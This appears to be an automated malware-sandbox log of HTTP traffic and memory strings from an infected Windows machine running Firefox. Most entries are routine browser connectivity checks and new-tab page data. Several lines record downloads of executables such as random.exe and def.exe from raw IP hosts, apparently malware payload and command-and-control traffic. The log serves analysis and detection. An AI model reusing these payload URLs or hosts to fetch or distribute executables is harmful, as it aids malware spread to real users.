Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:43:45 GMTIf-None-Match: "67602e91-1cc200"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:43:52 GMTIf-None-Match: "67602e98-1b6a00"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:41:50 GMTIf-None-Match: "67602e1e-ebc00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:42:18 GMTIf-None-Match: "67602e3a-2a5e00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B3E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3314094466.0000028B3C153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3314094466.0000028B3C153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3820B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3820B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B3E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3314094466.0000028B3C153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3314094466.0000028B3C153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
